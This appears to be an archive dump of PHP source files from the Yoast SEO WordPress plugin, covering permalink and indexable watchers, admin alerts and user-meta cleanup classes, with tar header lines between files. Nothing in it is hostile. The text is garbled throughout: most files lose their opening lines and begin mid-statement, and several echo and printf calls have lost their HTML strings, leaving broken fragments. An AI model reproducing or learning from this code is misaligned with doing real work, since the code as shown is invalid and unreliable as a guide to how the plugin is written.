\add_action( 'update_option_wpseo_titles', [ $this, 'check_option' ], 10, 2 );
}
/**
* Checks if the home page indexable needs to be rebuild based on option values.
*
* @param array $old_value The old value of the option.
* @param array $new_value The new value of the option.
*
* @return void
*/
public function check_option( $old_value, $new_value ) {
foreach ( Indexable_System_Page_Builder::OPTION_MAPPING as $type => $options ) {
foreach ( $options as $option ) {
// If both values aren't set they haven't changed.
if ( ! isset( $old_value[ $option ] ) && ! isset( $new_value[ $option ] ) ) {
return;
}
// If the value was set but now isn't, is set but wasn't or is not the same it has changed.
if (
! isset( $old_value[ $option ] )
|| ! isset( $new_value[ $option ] )
|| $old_value[ $option ] !== $new_value[ $option ]
) {
$this->build_indexable( $type );
}
}
}
}
/**
* Saves the search result.
*
* @param string $type The type of no index page.
*
* @return void
*/
public function build_indexable( $type ) {
$indexable = $this->repository->find_for_system_page( $type, false );
$this->builder->build_for_system_page( $type, $indexable );
}
}
integrations/watchers/indexable-category-permalink-watcher.php 0000644 00000003364 15207625463 0021004 0 ustar 00 indexable_helper->reset_permalink_indexables( 'term', 'category', Indexing_Reasons::REASON_CATEGORY_BASE_PREFIX );
// Clear the rewrites, so the new permalink structure is used.
WPSEO_Utils::clear_rewrites();
}
}
}
integrations/watchers/indexable-term-watcher.php 0000644 00000007256 15207625463 0016162 0 ustar 00 repository = $repository;
$this->builder = $builder;
$this->link_builder = $link_builder;
$this->indexable_helper = $indexable_helper;
$this->site = $site;
}
/**
* Registers the hooks.
*
* @return void
*/
public function register_hooks() {
\add_action( 'created_term', [ $this, 'build_indexable' ], \PHP_INT_MAX );
\add_action( 'edited_term', [ $this, 'build_indexable' ], \PHP_INT_MAX );
\add_action( 'delete_term', [ $this, 'delete_indexable' ], \PHP_INT_MAX );
}
/**
* Deletes a term from the index.
*
* @param int $term_id The Term ID to delete.
*
* @return void
*/
public function delete_indexable( $term_id ) {
$indexable = $this->repository->find_by_id_and_type( $term_id, 'term', false );
if ( ! $indexable ) {
return;
}
$indexable->delete();
\do_action( 'wpseo_indexable_deleted', $indexable );
}
/**
* Update the taxonomy meta data on save.
*
* @param int $term_id ID of the term to save data for.
*
* @return void
*/
public function build_indexable( $term_id ) {
// Bail if this is a multisite installation and the site has been switched.
if ( $this->site->is_multisite_and_switched() ) {
return;
}
$term = \get_term( $term_id );
if ( $term === null || \is_wp_error( $term ) ) {
return;
}
if ( ! \is_taxonomy_viewable( $term->taxonomy ) ) {
return;
}
$indexable = $this->repository->find_by_id_and_type( $term_id, 'term', false );
// If we haven't found an existing indexable, create it. Otherwise update it.
$indexable = $this->builder->build_for_id_and_type( $term_id, 'term', $indexable );
if ( ! $indexable ) {
return;
}
// Update links.
$this->link_builder->build( $indexable, $term->description );
$indexable->object_last_modified = \max( $indexable->object_last_modified, \current_time( 'mysql' ) );
$this->indexable_helper->save_indexable( $indexable );
}
}
integrations/watchers/indexable-permalink-watcher.php 0000644 00000017404 15207625465 0017173 0 ustar 00 post_type = $post_type;
$this->options_helper = $options;
$this->indexable_helper = $indexable;
$this->taxonomy_helper = $taxonomy_helper;
$this->schedule_cron();
}
/**
* Registers the hooks.
*
* @return void
*/
public function register_hooks() {
\add_action( 'update_option_permalink_structure', [ $this, 'reset_permalinks' ] );
\add_action( 'update_option_category_base', [ $this, 'reset_permalinks_term' ], 10, 3 );
\add_action( 'update_option_tag_base', [ $this, 'reset_permalinks_term' ], 10, 3 );
\add_action( 'wpseo_permalink_structure_check', [ $this, 'force_reset_permalinks' ] );
\add_action( 'wpseo_deactivate', [ $this, 'unschedule_cron' ] );
}
/**
* Resets the permalinks for everything that is related to the permalink structure.
*
* @return void
*/
public function reset_permalinks() {
$post_types = $this->get_post_types();
foreach ( $post_types as $post_type ) {
$this->reset_permalinks_post_type( $post_type );
}
$taxonomies = $this->get_taxonomies_for_post_types( $post_types );
foreach ( $taxonomies as $taxonomy ) {
$this->indexable_helper->reset_permalink_indexables( 'term', $taxonomy );
}
$this->indexable_helper->reset_permalink_indexables( 'user' );
$this->indexable_helper->reset_permalink_indexables( 'date-archive' );
$this->indexable_helper->reset_permalink_indexables( 'system-page' );
// Always update `permalink_structure` in the wpseo option.
$this->options_helper->set( 'permalink_structure', \get_option( 'permalink_structure' ) );
}
/**
* Resets the permalink for the given post type.
*
* @param string $post_type The post type to reset.
*
* @return void
*/
public function reset_permalinks_post_type( $post_type ) {
$this->indexable_helper->reset_permalink_indexables( 'post', $post_type );
$this->indexable_helper->reset_permalink_indexables( 'post-type-archive', $post_type );
}
/**
* Resets the term indexables when the base has been changed.
*
* @param string $old_value Unused. The old option value.
* @param string $new_value Unused. The new option value.
* @param string $type The option name.
*
* @return void
*/
public function reset_permalinks_term( $old_value, $new_value, $type ) {
$subtype = $type;
$reason = Indexing_Reasons::REASON_PERMALINK_SETTINGS;
// When the subtype contains _base, just strip it.
if ( \strstr( $subtype, '_base' ) ) {
$subtype = \substr( $type, 0, -5 );
}
if ( $subtype === 'tag' ) {
$subtype = 'post_tag';
$reason = Indexing_Reasons::REASON_TAG_BASE_PREFIX;
}
if ( $subtype === 'category' ) {
$reason = Indexing_Reasons::REASON_CATEGORY_BASE_PREFIX;
}
$this->indexable_helper->reset_permalink_indexables( 'term', $subtype, $reason );
}
/**
* Resets the permalink indexables automatically, if necessary.
*
* @return bool Whether the reset request ran.
*/
public function force_reset_permalinks() {
if ( \get_option( 'tag_base' ) !== $this->options_helper->get( 'tag_base_url' ) ) {
$this->reset_permalinks_term( null, null, 'tag_base' );
$this->options_helper->set( 'tag_base_url', \get_option( 'tag_base' ) );
}
if ( \get_option( 'category_base' ) !== $this->options_helper->get( 'category_base_url' ) ) {
$this->reset_permalinks_term( null, null, 'category_base' );
$this->options_helper->set( 'category_base_url', \get_option( 'category_base' ) );
}
if ( $this->should_reset_permalinks() ) {
$this->reset_permalinks();
return true;
}
$this->reset_altered_custom_taxonomies();
return true;
}
/**
* Checks whether the permalinks should be reset after `permalink_structure` has changed.
*
* @return bool Whether the permalinks should be reset.
*/
public function should_reset_permalinks() {
return \get_option( 'permalink_structure' ) !== $this->options_helper->get( 'permalink_structure' );
}
/**
* Resets custom taxonomies if their slugs have changed.
*
* @return void
*/
public function reset_altered_custom_taxonomies() {
$taxonomies = $this->taxonomy_helper->get_custom_taxonomies();
$custom_taxonomy_bases = $this->options_helper->get( 'custom_taxonomy_slugs', [] );
$new_taxonomy_bases = [];
foreach ( $taxonomies as $taxonomy ) {
$taxonomy_slug = $this->taxonomy_helper->get_taxonomy_slug( $taxonomy );
$new_taxonomy_bases[ $taxonomy ] = $taxonomy_slug;
if ( ! \array_key_exists( $taxonomy, $custom_taxonomy_bases ) ) {
continue;
}
if ( $taxonomy_slug !== $custom_taxonomy_bases[ $taxonomy ] ) {
$this->indexable_helper->reset_permalink_indexables( 'term', $taxonomy );
}
}
$this->options_helper->set( 'custom_taxonomy_slugs', $new_taxonomy_bases );
}
/**
* Retrieves a list with the public post types.
*
* @return array The post types.
*/
protected function get_post_types() {
/**
* Filter: Gives the possibility to filter out post types.
*
* @param array $post_types The post type names.
*
* @return array The post types.
*/
$post_types = \apply_filters( 'wpseo_post_types_reset_permalinks', $this->post_type->get_public_post_types() );
return $post_types;
}
/**
* Retrieves the taxonomies that belongs to the public post types.
*
* @param array $post_types The post types to get taxonomies for.
*
* @return array The retrieved taxonomies.
*/
protected function get_taxonomies_for_post_types( $post_types ) {
$taxonomies = [];
foreach ( $post_types as $post_type ) {
$taxonomies[] = \get_object_taxonomies( $post_type, 'names' );
}
$taxonomies = \array_merge( [], ...$taxonomies );
$taxonomies = \array_unique( $taxonomies );
return $taxonomies;
}
/**
* Schedules the WP-Cron job to check the permalink_structure status.
*
* @return void
*/
protected function schedule_cron() {
if ( \wp_next_scheduled( 'wpseo_permalink_structure_check' ) ) {
return;
}
\wp_schedule_event( \time(), 'daily', 'wpseo_permalink_structure_check' );
}
/**
* Unschedules the WP-Cron job to check the permalink_structure status.
*
* @return void
*/
public function unschedule_cron() {
if ( ! \wp_next_scheduled( 'wpseo_permalink_structure_check' ) ) {
return;
}
\wp_clear_scheduled_hook( 'wpseo_permalink_structure_check' );
}
}
integrations/watchers/indexable-homeurl-watcher.php 0000644 00000005410 15207625465 0016656 0 ustar 00 post_type = $post_type;
$this->options_helper = $options;
$this->indexable_helper = $indexable;
}
/**
* Initializes the integration.
*
* This is the place to register hooks and filters.
*
* @return void
*/
public function register_hooks() {
\add_action( 'update_option_home', [ $this, 'reset_permalinks' ] );
\add_action( 'wpseo_permalink_structure_check', [ $this, 'force_reset_permalinks' ] );
}
/**
* Resets the permalinks for everything that is related to the permalink structure.
*
* @return void
*/
public function reset_permalinks() {
$this->indexable_helper->reset_permalink_indexables( null, null, Indexing_Reasons::REASON_HOME_URL_OPTION );
// Reset the home_url option.
$this->options_helper->set( 'home_url', \get_home_url() );
}
/**
* Resets the permalink indexables automatically, if necessary.
*
* @return bool Whether the request ran.
*/
public function force_reset_permalinks() {
if ( $this->should_reset_permalinks() ) {
$this->reset_permalinks();
if ( \defined( 'WP_CLI' ) && \WP_CLI ) {
WP_CLI::success( \__( 'All permalinks were successfully reset', 'wordpress-seo' ) );
}
return true;
}
return false;
}
/**
* Checks whether permalinks should be reset.
*
* @return bool Whether the permalinks should be reset.
*/
public function should_reset_permalinks() {
return \get_home_url() !== $this->options_helper->get( 'home_url' );
}
}
integrations/watchers/woocommerce-beta-editor-watcher.php 0000644 00000010234 15207625465 0017766 0 ustar 00 notification_center = $notification_center;
$this->notification_helper = $notification_helper;
$this->short_link_helper = $short_link_helper;
$this->woocommerce_conditional = $woocommerce_conditional;
$this->presenter = new Woocommerce_Beta_Editor_Presenter( $this->short_link_helper );
}
/**
* Returns the conditionals based on which this loadable should be active.
*
* @return string[] The conditionals.
*/
public static function get_conditionals() {
return [ Admin_Conditional::class, Not_Admin_Ajax_Conditional::class ];
}
/**
* Initializes the integration.
*
* On admin_init, it is checked whether the notification about Woocommerce product beta editor enabled should be shown.
*
* @return void
*/
public function register_hooks() {
\add_action( 'admin_init', [ $this, 'manage_woocommerce_beta_editor_notification' ] );
}
/**
* Manage the Woocommerce product beta editor notification.
*
* Shows the notification if needed and deletes it if needed.
*
* @return void
*/
public function manage_woocommerce_beta_editor_notification() {
if ( \get_option( 'woocommerce_feature_product_block_editor_enabled' ) === 'yes' && $this->woocommerce_conditional->is_met() ) {
$this->maybe_add_woocommerce_beta_editor_notification();
}
else {
$this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID );
}
}
/**
* Add the Woocommerce product beta editor enabled notification if it does not exist yet.
*
* @return void
*/
public function maybe_add_woocommerce_beta_editor_notification() {
if ( ! $this->notification_center->get_notification_by_id( self::NOTIFICATION_ID ) ) {
$notification = $this->notification();
$this->notification_helper->restore_notification( $notification );
$this->notification_center->add_notification( $notification );
}
}
/**
* Returns an instance of the notification.
*
* @return Yoast_Notification The notification to show.
*/
protected function notification() {
return new Yoast_Notification(
$this->presenter->present(),
[
'type' => Yoast_Notification::ERROR,
'id' => self::NOTIFICATION_ID,
'capabilities' => 'wpseo_manage_options',
'priority' => 1,
],
);
}
}
integrations/watchers/option-titles-watcher.php 0000644 00000006465 15207625465 0016077 0 ustar 00
*/
public static function get_conditionals() {
return [ Migrations_Conditional::class ];
}
/**
* Checks if one of the relevant options has been changed.
*
* @param array $old_value The old value of the option.
* @param array $new_value The new value of the option.
*
* @return bool Whether or not the ancestors are removed.
*/
public function check_option( $old_value, $new_value ) {
// If this is the first time saving the option, thus when value is false.
if ( $old_value === false ) {
$old_value = [];
}
if ( ! \is_array( $old_value ) || ! \is_array( $new_value ) ) {
return false;
}
$relevant_keys = $this->get_relevant_keys();
if ( empty( $relevant_keys ) ) {
return false;
}
$post_types = [];
foreach ( $relevant_keys as $post_type => $relevant_option ) {
// If both values aren't set they haven't changed.
if ( ! isset( $old_value[ $relevant_option ] ) && ! isset( $new_value[ $relevant_option ] ) ) {
continue;
}
if ( $old_value[ $relevant_option ] !== $new_value[ $relevant_option ] ) {
$post_types[] = $post_type;
}
}
return $this->delete_ancestors( $post_types );
}
/**
* Retrieves the relevant keys.
*
* @return array Array with the relevant keys.
*/
protected function get_relevant_keys() {
$post_types = \get_post_types( [ 'public' => true ], 'names' );
if ( ! \is_array( $post_types ) || $post_types === [] ) {
return [];
}
$relevant_keys = [];
foreach ( $post_types as $post_type ) {
$relevant_keys[ $post_type ] = 'post_types-' . $post_type . '-maintax';
}
return $relevant_keys;
}
/**
* Removes the ancestors for given post types.
*
* @param array $post_types The post types to remove hierarchy for.
*
* @return bool True when delete query was successful.
*/
protected function delete_ancestors( $post_types ) {
if ( empty( $post_types ) ) {
return false;
}
$wpdb = Wrapper::get_wpdb();
$hierarchy_table = Model::get_table_name( 'Indexable_Hierarchy' );
$indexable_table = Model::get_table_name( 'Indexable' );
// phpcs:ignore WordPress.DB.DirectDatabaseQuery.DirectQuery,WordPress.DB.DirectDatabaseQuery.NoCaching -- Delete query.
$result = $wpdb->query(
$wpdb->prepare(
"
DELETE FROM %i
WHERE indexable_id IN(
SELECT id
FROM %i
WHERE object_type = 'post'
AND object_sub_type IN( " . \implode( ', ', \array_fill( 0, \count( $post_types ), '%s' ) ) . ' )
)',
$hierarchy_table,
$indexable_table,
...$post_types,
),
);
return $result !== false;
}
}
integrations/watchers/search-engines-discouraged-watcher.php 0000644 00000015754 15207625465 0020450 0 ustar 00 notification_center = $notification_center;
$this->notification_helper = $notification_helper;
$this->current_page_helper = $current_page_helper;
$this->options_helper = $options_helper;
$this->capability_helper = $capability_helper;
$this->presenter = new Search_Engines_Discouraged_Presenter();
}
/**
* Initializes the integration.
*
* On admin_init, it is checked whether the notification about search engines being discouraged should be shown.
* On admin_notices, the notice about the search engines being discouraged will be shown when necessary.
*
* @return void
*/
public function register_hooks() {
\add_action( 'admin_init', [ $this, 'manage_search_engines_discouraged_notification' ] );
\add_action( 'update_option_blog_public', [ $this, 'restore_ignore_option' ] );
/*
* The `admin_notices` hook fires on single site admin pages vs.
* `network_admin_notices` which fires on multisite admin pages and
* `user_admin_notices` which fires on multisite user admin pages.
*/
\add_action( 'admin_notices', [ $this, 'maybe_show_search_engines_discouraged_notice' ] );
}
/**
* Manage the search engines discouraged notification.
*
* Shows the notification if needed and deletes it if needed.
*
* @return void
*/
public function manage_search_engines_discouraged_notification() {
if ( ! $this->should_show_search_engines_discouraged_notification() ) {
$this->remove_search_engines_discouraged_notification_if_exists();
}
else {
$this->maybe_add_search_engines_discouraged_notification();
}
}
/**
* Show the search engine discouraged notice when needed.
*
* @return void
*/
public function maybe_show_search_engines_discouraged_notice() {
if ( ! $this->should_show_search_engines_discouraged_notice() ) {
return;
}
$this->show_search_engines_discouraged_notice();
}
/**
* Whether the search engines discouraged notification should be shown.
*
* @return bool
*/
protected function should_show_search_engines_discouraged_notification() {
return $this->search_engines_are_discouraged() && $this->options_helper->get( 'ignore_search_engines_discouraged_notice', false ) === false;
}
/**
* Remove the search engines discouraged notification if it exists.
*
* @return void
*/
protected function remove_search_engines_discouraged_notification_if_exists() {
$this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID );
}
/**
* Add the search engines discouraged notification if it does not exist yet.
*
* @return void
*/
protected function maybe_add_search_engines_discouraged_notification() {
if ( ! $this->notification_center->get_notification_by_id( self::NOTIFICATION_ID ) ) {
$notification = $this->notification();
$this->notification_helper->restore_notification( $notification );
$this->notification_center->add_notification( $notification );
}
}
/**
* Checks whether search engines are discouraged from indexing the site.
*
* @return bool Whether search engines are discouraged from indexing the site.
*/
protected function search_engines_are_discouraged() {
return (string) \get_option( 'blog_public' ) === '0';
}
/**
* Whether the search engines notice should be shown.
*
* @return bool
*/
protected function should_show_search_engines_discouraged_notice() {
$pages_to_show_notice = [
'index.php',
'plugins.php',
'update-core.php',
];
return (
$this->search_engines_are_discouraged()
&& $this->capability_helper->current_user_can( 'manage_options' )
&& $this->options_helper->get( 'ignore_search_engines_discouraged_notice', false ) === false
&& (
$this->current_page_helper->is_yoast_seo_page()
|| \in_array( $this->current_page_helper->get_current_admin_page(), $pages_to_show_notice, true )
)
&& $this->current_page_helper->get_current_yoast_seo_page() !== 'wpseo_dashboard'
);
}
/**
* Show the search engines discouraged notice.
*
* @return void
*/
protected function show_search_engines_discouraged_notice() {
\printf(
'
';
return $notification_text;
}
}
alerts/application/indexables-disabled/indexables-disabled-alert.php 0000644 00000006721 15207625540 0021741 0 ustar 00 notification_center = $notification_center;
$this->indexable_helper = $indexable_helper;
$this->short_link_helper = $short_link_helper;
}
/**
* Returns the conditionals based on which this loadable should be active.
*
* @return array
*/
public static function get_conditionals() {
return [ Admin_Conditional::class ];
}
/**
* Initializes the integration.
*
* @return void
*/
public function register_hooks() {
\add_action( 'admin_init', [ $this, 'add_notifications' ] );
}
/**
* Adds or removes notification based on whether indexables are disabled.
*
* @return void
*/
public function add_notifications() {
if ( $this->indexable_helper->should_index_indexables() ) {
$this->notification_center->remove_notification_by_id( self::NOTIFICATION_ID );
return;
}
$notification = $this->get_indexables_disabled_notification();
$this->notification_center->add_notification( $notification );
}
/**
* Builds the indexables-disabled notification.
*
* @return Yoast_Notification The indexables-disabled notification.
*/
private function get_indexables_disabled_notification(): Yoast_Notification {
$message = $this->get_message();
return new Yoast_Notification(
$message,
[
'id' => self::NOTIFICATION_ID,
'type' => Yoast_Notification::WARNING,
'capabilities' => [ 'wpseo_manage_options' ],
],
);
}
/**
* Returns the notification message as an HTML string.
*
* @return string The HTML string representation of the notification.
*/
private function get_message(): string {
$shortlink = $this->short_link_helper->get( 'https://yoa.st/indexables-disabled' );
$message = \sprintf(
/* translators: %1$s expands to "Yoast", %2$s expands to an opening anchor tag, %3$s expands to a closing anchor tag. */
\esc_html__( '%1$s indexables are disabled because your site is in a non-production environment or custom code is blocking them. This may affect your SEO features. %2$sLearn more about this%3$s.', 'wordpress-seo' ),
'Yoast',
'',
'',
);
return $message;
}
}
alerts/infrastructure/default-seo-data/default-seo-data-collector.php 0000644 00000002243 15207625540 0022060 0 ustar 00 options_helper = $options_helper;
}
/**
* Returns the posts with default SEO title in their most recent.
*
* @return string[] The posts with default SEO title in their most recent.
*/
public function get_posts_with_default_seo_title(): array {
return $this->options_helper->get( 'default_seo_title', [] );
}
/**
* Returns the posts with default SEO description in their most recent.
*
* @return string[] The posts with default SEO description in their most recent.
*/
public function get_posts_with_default_seo_description(): array {
return $this->options_helper->get( 'default_seo_meta_desc', [] );
}
}
alerts/user-interface/default-seo-data/default-seo-data-cron-scheduler.php 0000644 00000002460 15207625541 0022645 0 ustar 00 options_helper = $options_helper;
$this->scheduler = $scheduler;
$this->indexable_repository = $indexable_repository;
}
/**
* Registers the hooks.
*
* @return void
*/
public function register_hooks() {
\add_action(
Default_SEO_Data_Cron_Scheduler::CRON_HOOK,
[
$this,
'detect_default_seo_data_in_recent',
],
);
}
/**
* Detects default SEO data in recent posts and updates the relevant options.
*
* @return void
*/
public function detect_default_seo_data_in_recent(): void {
if ( ! \wp_doing_cron() ) {
return;
}
$recent_posts = $this->indexable_repository->get_recently_modified_posts( 'post', 5, false );
$recent_default_seo_title = [];
$recent_default_seo_meta_desc = [];
foreach ( $recent_posts as $post ) {
if ( $post->title === null ) {
$recent_default_seo_title[] = $post->object_id;
}
if ( $post->description === null ) {
$recent_default_seo_meta_desc[] = $post->object_id;
}
}
$this->options_helper->set( 'default_seo_title', $recent_default_seo_title );
$this->options_helper->set( 'default_seo_meta_desc', $recent_default_seo_meta_desc );
}
}
alerts/user-interface/default-seo-data/default-seo-data-watcher.php 0000644 00000004224 15207625541 0021365 0 ustar 00 indexable_repository = $indexable_repository;
$this->options_helper = $options_helper;
}
/**
* Registers the hooks with WordPress.
*
* @return void
*/
public function register_hooks() {
\add_action( 'wpseo_saved_indexable', [ $this, 'check_for_default_seo_data' ], 10, 1 );
}
/**
* Checks for default SEO data in the saved indexable and the most recently modified posts.
*
* @param Indexable $saved_indexable The saved indexable.
*
* @return void
*/
public function check_for_default_seo_data( $saved_indexable ): void {
// We have activated this feature only for posts for now.
if ( $saved_indexable->object_type !== 'post' || $saved_indexable->object_sub_type !== 'post' ) {
return;
}
// If the title or description is null, it means it's not default SEO data so let's reset the options.
if ( $saved_indexable->title !== null ) {
$this->options_helper->set( 'default_seo_title', [] );
}
if ( $saved_indexable->description !== null ) {
$this->options_helper->set( 'default_seo_meta_desc', [] );
}
}
}
alerts/user-interface/resolve-alert-route.php 0000644 00000004052 15207625541 0015413 0 ustar 00 user_helper = $user_helper;
$this->capability_helper = $capability_helper;
}
/**
* Registers all hooks to WordPress.
*
* @return void
*/
public function register_hooks() {
\add_action( 'wp_ajax_wpseo_resolve_alert', [ $this, 'resolve_alert' ] );
}
/**
* Runs the callback to resolve an alert for the current user.
*
* @return void.
*/
public function resolve_alert() {
if ( ! \check_ajax_referer( 'wpseo-resolve-alert-nonce', 'nonce', false ) || ! $this->capability_helper->current_user_can( 'wpseo_manage_options' ) ) {
\wp_send_json_error(
[
'message' => 'Security check failed.',
],
);
return;
}
if ( ! isset( $_POST['alertId'] ) ) {
\wp_send_json_error(
[
'message' => 'Alert ID is missing.',
],
);
return;
}
$alert_id = \sanitize_text_field( \wp_unslash( $_POST['alertId'] ) );
$user_id = \get_current_user_id();
$this->user_helper->update_meta( $user_id, $alert_id . '_resolved', true );
\wp_send_json_success(
[
'message' => 'Alert resolved successfully.',
],
);
}
}
user-meta/domain/custom-meta-interface.php 0000644 00000002163 15207625541 0014633 0 ustar 00
*/
private $additional_contactmethods;
/**
* The constructor.
*
* @param Additional_Contactmethod_Interface ...$additional_contactmethods All additional contactmethods.
*/
public function __construct( Additional_Contactmethod_Interface ...$additional_contactmethods ) {
$this->additional_contactmethods = $additional_contactmethods;
}
/**
* Returns all the additional contactmethods.
*
* @return array All the additional contactmethods.
*/
public function get_additional_contactmethods(): array {
$additional_contactmethods = $this->additional_contactmethods;
/**
* Filter: Adds the possibility to add more additional contactmethods in the user profile.
*
* @param array $additional_contactmethods Array with additional contact method classes.
*/
return \apply_filters( 'wpseo_additional_contactmethods', $additional_contactmethods );
}
/**
* Returns the additional contactmethods key/value pairs.
*
* @return array The additional contactmethods key/value pairs.
*/
public function get_additional_contactmethods_objects(): array {
$additional_contactmethods_objects = [];
$additional_contactmethods = $this->get_additional_contactmethods();
foreach ( $additional_contactmethods as $additional_contactmethod ) {
$additional_contactmethods_objects[ $additional_contactmethod->get_key() ] = $additional_contactmethod->get_label();
}
return $additional_contactmethods_objects;
}
/**
* Returns the additional contactmethods keys.
*
* @return array The additional contactmethods keys.
*/
public function get_additional_contactmethods_keys(): array {
$additional_contactmethods_keys = [];
$additional_contactmethods = $this->get_additional_contactmethods();
foreach ( $additional_contactmethods as $additional_contactmethod ) {
$additional_contactmethods_keys[] = $additional_contactmethod->get_key();
}
return $additional_contactmethods_keys;
}
}
user-meta/application/cleanup-service.php 0000644 00000004266 15207625542 0014567 0 ustar 00 additional_contactmethods_collector = $additional_contactmethods_collector;
$this->custom_meta_collector = $custom_meta_collector;
$this->cleanup_repository = $cleanup_repository;
}
/**
* Deletes selected empty usermeta.
*
* @param int $limit The limit we'll apply to the cleanups.
*
* @return int|bool The number of rows that was deleted or false if the query failed.
*/
public function cleanup_selected_empty_usermeta( int $limit ) {
$meta_to_check = $this->get_meta_to_check();
return $this->cleanup_repository->delete_empty_usermeta_query( $meta_to_check, $limit );
}
/**
* Gets which meta are going to be checked for emptiness.
*
* @return array The meta to be checked for emptiness.
*/
private function get_meta_to_check() {
$additional_contactmethods = $this->additional_contactmethods_collector->get_additional_contactmethods_keys();
$custom_meta = $this->custom_meta_collector->get_non_empty_custom_meta();
return \array_merge( $additional_contactmethods, $custom_meta );
}
}
user-meta/application/custom-meta-collector.php 0000644 00000003077 15207625542 0015723 0 ustar 00
*/
private $custom_meta;
/**
* The constructor.
*
* @param Custom_Meta_Interface ...$custom_meta All custom meta.
*/
public function __construct( Custom_Meta_Interface ...$custom_meta ) {
$this->custom_meta = $custom_meta;
}
/**
* Returns all the custom meta.
*
* @return array All the custom meta.
*/
public function get_custom_meta(): array {
return $this->custom_meta;
}
/**
* Returns all the custom meta, sorted by rendering priority.
*
* @return array All the custom meta, sorted by rendering priority.
*/
public function get_sorted_custom_meta(): array {
$custom_meta = $this->get_custom_meta();
\usort(
$custom_meta,
static function ( Custom_Meta_Interface $a, Custom_Meta_Interface $b ) {
return ( $a->get_render_priority() <=> $b->get_render_priority() );
},
);
return $custom_meta;
}
/**
* Returns the custom meta that can't be empty.
*
* @return array The custom meta that can't be empty.
*/
public function get_non_empty_custom_meta(): array {
$non_empty_custom_meta = [];
foreach ( $this->custom_meta as $custom_meta ) {
if ( ! $custom_meta->is_empty_allowed() ) {
$non_empty_custom_meta[] = $custom_meta->get_key();
}
}
return $non_empty_custom_meta;
}
}
user-meta/infrastructure/cleanup-repository.php 0000644 00000002465 15207625542 0016122 0 ustar 00 $meta_keys The meta to be potentially deleted.
* @param int $limit The number of maximum deletions.
*
* @return int|false The number of rows that was deleted or false if the query failed.
*/
public function delete_empty_usermeta_query( $meta_keys, $limit ) {
global $wpdb;
// phpcs:disable WordPress.DB.PreparedSQLPlaceholders.ReplacementsWrongNumber -- Reason: we're passing an array instead.
$delete_query = $wpdb->prepare(
'DELETE FROM %i
WHERE meta_key IN ( ' . \implode( ', ', \array_fill( 0, \count( $meta_keys ), '%s' ) ) . ' )
AND meta_value = ""
ORDER BY user_id
LIMIT %d',
\array_merge( [ $wpdb->usermeta ], $meta_keys, [ $limit ] ),
);
// phpcs:enable
// phpcs:disable WordPress.DB.DirectDatabaseQuery.NoCaching -- Reason: No relevant caches.
// phpcs:disable WordPress.DB.DirectDatabaseQuery.DirectQuery -- Reason: Most performant way.
// phpcs:disable WordPress.DB.PreparedSQL.NotPrepared -- Reason: Is it prepared already.
return $wpdb->query( $delete_query );
// phpcs:enable
}
}
user-meta/framework/custom-meta/keyword-analysis-disable.php 0000644 00000005657 15207625542 0020345 0 ustar 00 options_helper = $options_helper;
}
/**
* Returns the priority which the custom meta's form field should be rendered with.
*
* @return int The priority which the custom meta's form field should be rendered with.
*/
public function get_render_priority(): int {
return 400;
}
/**
* Returns the db key of the Keyword_Analysis_Disable custom meta.
*
* @return string The db key of the Keyword_Analysis_Disable custom meta.
*/
public function get_key(): string {
return 'wpseo_keyword_analysis_disable';
}
/**
* Returns the id of the custom meta's form field.
*
* @return string The id of the custom meta's form field.
*/
public function get_field_id(): string {
return 'wpseo_keyword_analysis_disable';
}
/**
* Returns the meta value.
*
* @param int $user_id The user ID.
*
* @return string The meta value.
*/
public function get_value( $user_id ): string {
return \get_the_author_meta( $this->get_key(), $user_id );
}
/**
* Returns whether the respective global setting is enabled.
*
* @return bool Whether the respective global setting is enabled.
*/
public function is_setting_enabled(): bool {
return ( $this->options_helper->get( 'keyword_analysis_active', false ) );
}
/**
* Returns whether the custom meta is allowed to be empty.
*
* @return bool Whether the custom meta is allowed to be empty.
*/
public function is_empty_allowed(): bool {
return true;
}
/**
* Renders the custom meta's field in the user form.
*
* @param int $user_id The user ID.
*
* @return void
*/
public function render_field( $user_id ): void {
echo '
get_value( $user_id ), 'on', false )
. '/>';
echo '
';
echo '
'
. \esc_html__( 'Removes the focus keyphrase section from the metabox and disables all SEO-related suggestions.', 'wordpress-seo' )
. '
';
}
}
user-meta/framework/custom-meta/author-title.php 0000644 00000004765 15207625542 0016057 0 ustar 00 options_helper = $options_helper;
}
/**
* Returns the priority which the custom meta's form field should be rendered with.
*
* @return int The priority which the custom meta's form field should be rendered with.
*/
public function get_render_priority(): int {
return 100;
}
/**
* Returns the db key of the Author_Title custom meta.
*
* @return string The db key of the Author_Title custom meta.
*/
public function get_key(): string {
return 'wpseo_title';
}
/**
* Returns the id of the custom meta's form field.
*
* @return string The id of the custom meta's form field.
*/
public function get_field_id(): string {
return 'wpseo_author_title';
}
/**
* Returns the meta value.
*
* @param int $user_id The user ID.
*
* @return string The meta value.
*/
public function get_value( $user_id ): string {
return \get_the_author_meta( $this->get_key(), $user_id );
}
/**
* Returns whether the respective global setting is enabled.
*
* @return bool Whether the respective global setting is enabled.
*/
public function is_setting_enabled(): bool {
return ( ! $this->options_helper->get( 'disable-author' ) );
}
/**
* Returns whether the custom meta is allowed to be empty.
*
* @return bool Whether the custom meta is allowed to be empty.
*/
public function is_empty_allowed(): bool {
return true;
}
/**
* Renders the custom meta's field in the user form.
*
* @param int $user_id The user ID.
*
* @return void
*/
public function render_field( $user_id ): void {
echo '
';
echo '
';
}
}
user-meta/framework/custom-meta/noindex-author.php 0000644 00000005155 15207625542 0016374 0 ustar 00 options_helper = $options_helper;
}
/**
* Returns the priority which the custom meta's form field should be rendered with.
*
* @return int The priority which the custom meta's form field should be rendered with.
*/
public function get_render_priority(): int {
return 300;
}
/**
* Returns the db key of the Noindex_Author custom meta.
*
* @return string The db key of the Noindex_Author custom meta.
*/
public function get_key(): string {
return 'wpseo_noindex_author';
}
/**
* Returns the id of the custom meta's form field.
*
* @return string The id of the custom meta's form field.
*/
public function get_field_id(): string {
return 'wpseo_noindex_author';
}
/**
* Returns the meta value.
*
* @param int $user_id The user ID.
*
* @return string The meta value.
*/
public function get_value( $user_id ): string {
return \get_the_author_meta( $this->get_key(), $user_id );
}
/**
* Returns whether the respective global setting is enabled.
*
* @return bool Whether the respective global setting is enabled.
*/
public function is_setting_enabled(): bool {
return ( ! $this->options_helper->get( 'disable-author' ) );
}
/**
* Returns whether the custom meta is allowed to be empty.
*
* @return bool Whether the custom meta is allowed to be empty.
*/
public function is_empty_allowed(): bool {
return false;
}
/**
* Renders the custom meta's field in the user form.
*
* @param int $user_id The user ID.
*
* @return void
*/
